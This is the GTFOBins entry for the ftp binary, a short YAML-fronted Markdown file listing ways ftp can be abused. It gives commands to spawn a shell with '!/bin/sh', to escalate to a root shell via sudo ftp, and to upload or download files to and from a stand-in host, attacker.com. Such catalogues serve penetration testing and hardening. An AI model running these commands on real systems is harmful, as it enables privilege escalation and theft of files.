GTFOBins.github.io/_gtfobins/ftp.md
2018-10-05 18:55:38 +01:00

24 lines
438 B
Markdown

---
functions:
shell:
- code: |
ftp
!/bin/sh
file-upload:
- description: Send local file to a FTP server.
code: |
RHOST=attacker.com
ftp $RHOST
put file_to_send
file-download:
- description: Fetch a remote file from a FTP server.
code: |
RHOST=attacker.com
ftp $RHOST
get file_to_get
sudo:
- code: |
sudo ftp
!/bin/sh
---